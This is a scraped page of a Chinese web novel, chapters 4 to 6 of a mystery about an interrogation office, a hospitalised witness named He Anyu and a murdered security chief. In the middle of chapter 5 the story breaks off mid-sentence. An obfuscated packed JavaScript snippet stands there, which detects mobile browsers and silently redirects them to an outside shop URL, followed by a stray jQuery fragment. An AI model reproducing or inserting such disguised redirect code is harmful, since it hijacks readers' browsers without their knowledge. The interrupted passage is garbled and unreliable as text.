4、

    刚说完从四楼帅气一越而下的晏宁

    还未装逼多久,未"一瘸一拐"地走出百米,便被一个年轻人拦住了路。

    本想着审问厅安保不咋地准备大摇大摆逃跑的他:"......"

    晏宁皱皱眉道:"让开。"

    "这路是你的吗我就让?"年轻人提着两杯奶茶,衣带随风飘动。玫瑰金细框眼镜架在鼻梁上,显得气质像风度翩翩的君子。脸上戴着黑色口罩,遮住大半张脸,全身上下就露出白皙的脖颈和额头。眼角的痣恰到好处,给人一种温和平静的感觉——当然,这只是初印象。如果多接触的话会发现,这人性格和长相其实是两极分化。

    晏宁莫名觉得这人长得像"小白花",但这人语气像是来找事的。

    坏了,是杠精。

    还未开始争吵半分,晏宁不知为什么感觉不安全。

    好吧,人的第六感你赢了。

    后面的审问官的人已经赶来,前面又莫名其妙多了一个小伙。不,现在前面是两个人。

    "嘿,干吗呢?不会是刚才那个我在车上看到'跳楼'的小伙吧。"未见其人先闻其声。来者戴着墨镜,拽里拽气的,棕色短发嚣张地翘起,似乎标志着这个人不好惹。耳边扣着耳钉,细节有着独特风味的黑底红钻石。说罢抬起眼镜盯着晏宁,疑似上司盯一个迟到的小职员的感觉。

    "......"晏宁。

    "哟,还真是。你好啊!"那人还像样地打了个招呼。

    不对吧?正常审问厅的人不都是很严肃的吗?晏宁眸底闪过一丝疑惑。

    话说回来,那人观察人真细,笑了笑:"你好,我叫......"

    还未说完,便被一旁拿着两杯奶茶的年轻人夺走话题:"这是个疯子,不要误会。最近有点疯癫。你好像受伤了,要去医院吗?"

    那人:......抢我风头。

    "不用了谢谢。"晏宁还未说完,刚准备逃跑,却被那个年轻人拎走。手上还提着奶茶的人单手拎起。

    那人淡淡一笑,声音从他上方传来:"老老实实待审问室里。"

    ——咔嗒

    又是一模一样的手铐。

    "......"晏宁:怎么这么多手铐。

    ......

    果然人不能过于骄傲一时。

    失策了,半路居然遇到两个会"演戏"的人。

    而刚才闹腾的一群人也消失在了审问厅门口......

    坏了,出不来了。

    刚才还在夸晏宁牛逼的喻敬远,无语地看着门被推开,手上还有一个像是被拖过来的人。

    ——分明不是谁,正是刚才那个从四楼跳下去的晏宁。

    喻敬远差点笑出来,但看到来人也就闭了嘴。好家伙,居然是谷老师亲自逮捕。

    后面还跟着一个小祖宗——赵楚。

    俗话说得好,百家姓去了赵,张口就是要钱。他倒好,张口就是要命,堪称活阎王。

    "......"其实晏宁能平安回来是他的荣幸。

    站在一旁的祭棠清面色微红嘴角按捺不住地笑意说道:"你不是说后会有期吗?现在好像后悔无及了呢。我想好了,我不和你这个不靠谱的合作人合作。而且我觉得我们见面不需要下一次了,这一次就够了。"

    站在一旁的同事听到这句,终于没忍住,

    审问室传来一阵阵笑声......

    "......"晏宁。

    行,失误了,这次不算哈。

    一阵电话响起。站在一旁、与气氛格外格格不入的谷璀错接起了电话,却不小心按到了免提。

    一急促的护士声音响起:

    ——"不好了,何安玉病房出问题了!"

    什么?

    众人瞬间安静。

    时间像是静止了一般。

    停顿。

    然后重启。

    一切混乱。谷璀错管不上那么多,起身,离开。

    这时众人才反应过来,他们好像忘了谷老师的存在,忘了和他问好。

    ——"谷老师你去哪?"

    一道欠揍的声音传来,正是刚才那个戴墨镜装逼却没得到他人关注的赵楚。

    ——嘭

    门被关上,隔绝了喧闹,只剩下雨声。

    屋外砖瓦被雨声打得叮当响。雨随风倾斜,落在谷璀错脚边,落下,散开。

    身后追出来的赵楚可谓风尘仆仆,墨镜也不知道掉哪了。

    "老师你去哪?"赵楚不知为何声音听起来有点失落,没有平日的嘴毒。或许是雨声掩盖了他的罪恶吧。

    "......"有必要吗?谷璀错无语,"哟!还追出来啊?怎么轮得到你这个少爷出来找我呀?怎么,不会是你失恋了?你这声音像是被哪个女生甩了十来遍的感觉。"

    "......"我这不是为了找你吗?再说了,我不喜欢女生。而且我也只喜欢你啊,我很专一的。

    谷璀错的话里话外都是让他别管闲事,大概也不想让他知道。

    当然赵楚也听得懂。

    见赵楚没说话,谷璀错也没多说什么,转身离开。

    "唉,老师,那你也告诉我一下你去哪里吗?"他的语气变为了请求。

    ......

    数秒后。

    时间像是在他俩之间静止。

    雨声成了二者的隔阂。

    谷璀错面色不变,侧头看向他,嘴角微微向上,一个标准的HR笑。在别人脸上没什么感觉,但在他这个千年冰山脸面前,简直比日照金山还难得。

    他慢慢吐出几个字:

    ——"W市中心医院"

    消散于风声。

    赵楚再抬眸,却只看到了已经远去的车影,不自觉舔了舔发干的嘴唇,低声带着磁性的声音自言自语道“你是我的,休想逃跑。”

    ......

    赵楚装作失落地回到审问室,才发现喻敬远不见了——大概是和谷璀错一起去了吧,不然谷老师怎么溜得这么快。

    话说回来,他还没和谷老师说再见呢。不行,不能显得自己没礼貌,不然咋追谷老师?

    想到这,他拿起手机给谷老师发了条微信消息:

    "再见,老师"

    也不知道他会不会看。

    不管了,小爷前面是装悲伤的。现在WL团队主力队员走了,现在是他的天下了。

    想到这,他不禁狂喜,也不知道前面装得怎么样。

    现场乱成一团。祭棠清和晏宁视线对上。

    或许没人看清晏宁的情绪,

    或者说是没人关心他的情绪。

    但祭棠清看到了。

    他笑了,笑得不大声,

    似雨后烟雾弥漫的江南水乡。

    晏宁的笑没让人察觉,却又好似在说:

    ——你完了。

    窗外,黑色轿车驶入雨中,消失在街道尽头。水花溅起又落下。

    没人注意到,晏宁的视线一直追着那辆车,直到它彻底不见。

    他嘴角的笑意慢慢收住,换成了一个更冷的弧度。

    ——W市中心医院,何安玉。

    他在心里把这个名字过了一遍,然后轻轻吐出一口气,靠回了椅背上。

    5、

    W市中心医院的走廊比外面更冷。

    谷璀错靠在重症监护室外的墙上,手上的水珠还没干透。他的视线落在玻璃窗上——里面那个叫何安玉的少年躺在病床上,面色惨白,墨棕色的头发微微散开。胸口微弱的起伏是唯一证明他还活着的迹象。

    他看了几秒,然后转身推开了病房的门。

    消毒水的味道扑面而来。谷璀错走进去,脚步很轻,但门轴转动的声音还是让床上的人动了动。

    何安玉偏过头,半睁着眼看向门口那个浑身带着雨气的人。

    两个人隔着半间病房的距离对视。窗外的雨打在玻璃上,啪啪地响。

    谷璀错向前走了一步,雨水顺着他的袖口滴在地板上。

    "……何安玉?"

    他听见自己喊出这个名字,声音比预想中轻。

    病床上的少年没有立刻回答,只是看着他,眼睫颤了颤。然后他笑了一下,很浅,但确实是一个笑。

    "你是……"

    他的话没说完,被一阵剧烈的咳嗽截断了。血丝顺着他嘴角溢出来,染上素白的被单。

    谷璀错下意识上前,手指触到呼叫铃的瞬间,他忽然觉得这个场景他经历过。一模一样的位置,一模一样的血,一模一样的声音。只是他记不起那是哪一年的事了。

    "别按。"何安玉的声音哑得几乎听不见,但那只惨白的手却抬起来,轻轻挡了一下,"……我没事。习惯了。"

    谷璀错的手停在半空中,没按下去,也没收回来。

    "你们WL的人,很少会亲自来病房。"何安玉靠在床头,呼吸缓了一会儿才平稳些,"……是来问案子的?"

    谷璀错收回手,拉了一把椅子在床边坐下。距离不远不近,刚好能让对方不感到压迫。

    "你在地球三号遇袭那天,到底发生了什么?"

    何安玉没有立刻回答。他的目光越过谷璀错的肩头,落在窗外灰蒙蒙的天上,像是在回想什么,又像是在等什么。

    "那天在下雨。"他开口,声音很轻,"我什么都记不太清了,只记得有人喊了一个名字。"

    "什么名字?"

    何安玉的视线慢慢收回来,落在谷璀错脸上。他的目光很平静,平静到让谷璀错觉得那不像是在看一个刚认识的人。

    "晏宁。"

    谷璀错的手指在膝盖上轻轻叩了一下。晏宁——那个从审问厅四楼跳下去又死撑着装没事的人。

    "你认识他?"

    "他是我以前带过的学生。"何安玉说着,又咳了两声,血丝沿着嘴角淌下来,他抬手擦掉了,动作熟稔得像是做过无数次,"……我以为他不会走到这一步。"

    谷璀错盯着他指缝间残留的红色,没有追问。他知道一个病人说不了太久的话。

    "还有别的事吗?"何安玉闭了闭眼,像是有些累了。

    谷璀错沉默了几秒,然后问了一个他自己也没想到会问出口的问题:"你左手那个红点,是什么时候有的?"

    何安玉睁开眼,低头看了一眼自己的左手。食指和中指之间,那颗小到几乎可以忽略的红点安静地嵌在皮肤里。

    "……从小就有。"他抬眼看谷璀错,目光里多了一丝说不清的东西,"怎么了?"

    谷璀错没有回答。他只是站起来,把椅子推回原位。

    "好好休息。案子的事,我还会再来问你。"

    他转身往门口走,手搭上门把手的瞬间,身后传来何安玉的声音——很轻,像是怕被雨声盖过去。

    "……我们以前见过吗?"

    谷璀错顿了一下。他没有回头。

    "我不知道。"他说,"我也在找答案。"

    门在他身后合上,发出轻微的咔嗒声。

    何安玉盯着那扇重新关上的门看了很久,然后慢慢低下头,看着自己左手那颗红点。窗外的雨还在下,淅淅沥沥的,像是永远不会停。

    而在谷璀错走出重症监护区的同一时刻,走廊另一头的值班室里,电话铃响了。

    护士接起来,听了几秒,脸色一下子变了。她放下电话,几乎是跑着冲向走廊尽头——

    "谷先生!"

    谷璀错在电梯口停下脚

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17690219|207891||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    步,转头。

    护士跑到他面前,喘着气,声音发颤:"保安处……沈组长死了。"

    谷璀错握着手机的手指微微收紧。

    "怎么死的?"

    "不知道……"护士的脸色白得像一张纸,"值班室全是血,人……人不完整。"

    电梯门在谷璀错身后缓缓打开,光从里面漏出来,落在他脚边。他没有回头,只是看着面前那个脸色惨白的护士,轻声问了一句:

    "现场动过没有?"

    "没有……队长让所有人都别动,等您过去。"

    谷璀错点了点头,迈步走进电梯。电梯门合上之前,他低头看了一眼手机——屏幕上还是何安玉的档案照片,那颗红点安静地躺在那里。

    他把手机锁屏,揣进口袋。

    电梯开始下行。

    而他脑海中却闪过一个词“安”……

    这个词是都么亲切,没有来地的熟悉感。

    ——会不会何安玉就是“安”?

    6、

    电梯门在保安宿舍楼那层打开的时候,血腥味已经顺着走廊飘过来了。

    谷璀错走出电梯,看到警戒线拉在值班室门口,几个WL的同事围在外面,神色凝重。喻敬远站在最前面,见他来了立刻迎上来。

    "谷老师,里面……您亲自看吧。"

    谷璀错没说话,弯腰钻过警戒线。

    值班室的灯还亮着。日光灯管发出稳定的白光,照得一屋子惨白。沈组长——沈旭——就倒在桌子后面,姿势扭曲。血从桌沿流下来,在地板上积成一小滩,已经半凝固了,颜色深得发黑。

    谷璀错蹲下去,没有碰任何东西,只是看。

    沈旭的脸上还残留着一种表情,嘴巴微张,像是没来得及喊出声。瞳孔散开了,直直地盯着天花板的某个角落。

    谷璀错顺着那个方向抬了一下头——角落的监控探头,灯是灭的。

    "监控什么时候坏的?"他问。

    "还没查。技术组在调。"喻敬远站在门口,不敢往里走,"据说是昨晚凌晨左右被剪断的线。"

    谷璀错低下头,重新把目光放在沈旭身上。他注意到死者的右手攥得很紧,手指关节发白,像是死前抓着什么东西。

    他戴上手套,轻轻掰开那几根手指。

    手心里什么都没有。但指尖残留着一点淡白色的粉末,像是墙灰,又像是别的什么。

    "值班记录呢?"谷璀错站起来,把手套摘下来。

    "在调。"喻敬远递过来一个平板,"这是昨晚的值班排班表。沈组长本来应该值到凌晨两点,但实际发现的时间是今天早上六点——保洁阿姨第一个看到的。"

    "中间四个小时没人发现?"

    "宿舍楼晚上巡逻是两小时一次,但昨晚巡逻的人说经过值班室的时候灯是关的,以为沈组长提前回去了。"

    谷璀错盯着平板上的排班表,手指划了一下。昨天的值班人员名单里,有一个名字让他停住了。

    晏宁。

    "晏宁昨晚也在?"

    "在。"喻敬远凑过来看了一眼,"他昨晚本来是晚班,但据同事说他中途说自己不舒服,提前走了。具体几点走的,没人记得。"

    谷璀错把平板还给喻敬远,转身又看了一眼值班室的布局。窗户是关着的,从里面锁上了。门没有被撬的痕迹。整个房间唯一的出口就是走廊。

    "凶手要么是刷卡进来的,要么——"

    他走到窗边,窗玻璃上干干净净,没有任何痕迹。但他注意到窗台外侧有一道很浅的划痕,像是被什么硬物蹭过。

    "——要么根本没走门。"

    "不可能吧,这是四楼。"

    谷璀错没有接话。他直起身,目光最后扫了一遍值班室的全貌,然后在门口停下了脚步。

    "沈旭的手机呢?"

    "没找到。"技术组的一个同事抬起头,"他随身物品里没有手机,宿舍也翻过了,没有。"

    谷璀错站在门口,看着那滩已经开始发暗的血迹。

    一个保安组长的手机不见了,值班室的监控被提前掐断,凶手没留下脚印和指纹,唯一可疑的人昨晚在场又提前离开——但没有任何证据能直接证明是他干的。

    "把晏宁今早离开时的监控调出来。"他说,"还有,查一下他昨晚离开的具体时间,有没有人看到他从值班室这边走。"

    "是。"

    谷璀错走出值班室,走廊里的日光灯照得他眼睛有些发酸。他靠在墙上,掏出手机,打开何安玉的档案照片又看了一眼。那个红点安静地躺在那里,什么也没告诉他。

    "谷老师。"喻敬远从后面跟出来,有些犹豫地开口,"您说……沈组长这个事,和地球三号那个案子有关系吗?"

    谷璀错把手机锁屏,抬起头。

    "暂时不知道。"他说,"但先别让这个消息传到何安玉那边。"

    "为什么?"

    谷璀错没有回答。他转身往楼梯口走去,大衣的下摆被风吹起来又落下。

    他记得很清楚——沈组长死的那天晚上,晏宁"不舒服"提前走了。而晏宁去地球三号之前最后接触的人,是何安玉。

    这三个人之间有一条他还没看清的线。

    电梯门再次合上,他盯着跳动的楼层数字,脑海中浮现出何安玉在病床上擦掉嘴角血迹的动作——那种熟练,像是做过了无数次。

    这到底是一个人被陷害的故事,还是一个人编织了许久的局?

    啧,怎么这么难搞。谷璀错只觉得毫无头绪,脑子里的思路像是一张张网将他缠住急得团团转。

    窗外还在下雨,W市的春天,总是这样没完没了。

    但他隐隐约约觉得要回老宅一趟……